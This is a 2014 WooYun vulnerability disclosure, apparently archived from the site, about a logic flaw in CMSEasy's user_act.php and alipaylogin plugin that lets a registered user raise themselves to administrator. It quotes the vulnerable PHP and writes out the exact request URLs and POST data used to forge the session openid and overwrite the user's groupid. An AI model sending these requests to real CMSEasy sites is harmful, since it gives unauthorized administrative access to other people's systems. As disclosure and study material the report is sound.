当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(19) 关注此漏洞

缺陷编号: WooYun-2014-81934

漏洞标题: cmseasy 逻辑缺陷可升级普通用户为管理员(shell还会难吗)

相关厂商: cmseasy

漏洞作者: menmen519

提交时间: 2014-11-10 10:01

公开时间: 2015-02-08 10:02

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 逻辑错误

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-10: 细节已通知厂商并且等待厂商处理中
2014-11-10: 厂商已经确认,细节仅向厂商公开
2014-11-13: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-01-04: 细节向核心白帽子及相关领域专家公开
2015-01-14: 细节向普通白帽子公开
2015-01-24: 细节向实习白帽子公开
2015-02-08: 细节向公众公开

简要描述:

cmseasy 逻辑缺陷可升级普通用户为管理员

详细说明:

user_act.php(130-155):

code 区域
if (front::post('submit')) {
if (front::post('username') && front::post('password')) {
$username = front::post('username');
$password = md5(front::post('password'));
$data = array(
'username' => $username,
'password' => $password,
);
$user = new user();
$row = $user->getrow(array('username' => $data['username'], 'password' => $data['password']));
if (!is_array($row)) {
$this->login_false();
return;
}
$post[$classname] = session::get('openid');
$this->_user->rec_update($post, 'userid=' . $row['userid']);
cookie::set('login_username', $row['username']);
cookie::set('login_password', front::cookie_encode($row['password']));
session::set('username', $row['username']);
front::redirect(url::create('user'));
return;
} else {
$this->login_false();
return;
}
}







第一步 我们注册一个为test 密码为 111111的用户



然后发送url:

http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid



postdata:

username=test&password=111111&submit=xxx



第二步:

$post[$classname] = session::get('openid');



这里 我们给$post传递进去了groupid 但是有个问题 session::get('openid') 并不存在 所以执行后 test用户的groupid 为0



那么下来我们在继续找一下



line 157-172:

code 区域
include_once ROOT.'/lib/plugins/ologin/'.$classname.'.php';
$ologinobj = new $classname();
$status = $ologinobj->respond();
//var_dump(session::get('openid'));exit;
$where[$classname] = session::get('openid');
if(!$where[$classname]) front::redirect(url::create('user'));
$user = new user();
$data = $user->getrow($where);
if(!$data){
$this->view->data = $status;
}else{
cookie::set('login_username',$data['username']);
cookie::set('login_password',front::cookie_encode($data['password']));
session::set('username',$data['username']);
front::redirect(url::create('user'));
}





这里我们看看是不是要写session 其他的认证信息 我们都忽略 我们只关心这里的openid生效不 可控不



当$classname为alipaylogin.php时候 我们跟进去

code 区域
function respond() {

ini_set("display_errors","On");
$where = array('ologin_code'=>front::$get['ologin_code']);
$ologins = ologin::getInstance()->getrows($where);
$ologin = unserialize_config($ologins[0]['ologin_config']);

//var_dump($ologin);

$aliapy_config['partner'] = $ologin['alipaylogin_id'];
$aliapy_config['key'] = $ologin['alipaylogin_key'];
$aliapy_config['return_url'] = ologin::url(basename(__FILE__,'.php'));
$aliapy_config['sign_type'] = 'MD5';
$aliapy_config['input_charset']= 'utf-8';
$aliapy_config['transport'] = 'http';
$aliapy_config['cacert'] = getcwd().'/lib/plugins/alipayauth/cacert.pem';
//var_dump($aliapy_config);
unset($_GET['case']);unset($_GET['act']);unset($_GET['ologin_code']);unset($_GET['site']);
require_once("alipayauth/alipay_notify.class.php");
$alipayNotify = new AlipayNotify($aliapy_config);
//var_dump($alipayNotify);
$verify_result = $alipayNotify->verifyReturn();
//var_dump($verify_result);

if(true || $verify_result) {//验证成功
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
return array('nickname'=> front::get('real_name'));





if(true || $verify_result) {//验证成功 这一行我们让它永远成立 因为在这之前全是配置信息的东西



我们直接看这里



code 区域
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token',$token);
session::set("openid",$user_id);
return array('nickname'=> front::get('real_name'))





发现没有openid完全可控制



我们发送url:

http://localhost/uploads/index.php?case=user&act=respond&ologin_code=alipaylogin&user_id=2&real_name=test



这时候我们的openid被设置为了2





那么我们回头在看看



发送url:

http://localhost/uploads/index.php?case=user&act=respond&ologin_code=groupid



postdata:

username=test&password=111111&submit=xxx



这时候 看看 我们的test用户组为:

43.png





我们在登陆后台看看



44.png

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2014-11-10 10:16

厂商回复:

漏洞已经通过其他渠道得知,切所有描述相同。。。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-11-10 10:03 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    2

  2. 2014-11-10 10:08 | 泳少 ( 普通白帽子 | Rank:255 漏洞数:83 | ★ 梦想这条路踏上了,跪着也要...)
    1

  3. 2014-11-10 10:15 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:941 漏洞数:108 )
    1

  4. 2014-11-10 10:23 | luwikes ( 普通白帽子 | Rank:548 漏洞数:82 | 潜心学习~~~)
    1

    厂商好恶心

  5. 2014-11-10 10:24 | 進撃のDanny ( 普通白帽子 | Rank:146 漏洞数:14 | )
    1

    目测是这个 http://loudong.360.cn/vul/info/id/31552

  6. 2014-11-10 16:12 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)
    1

    吊 ,

登录后才能发表评论,请先 登录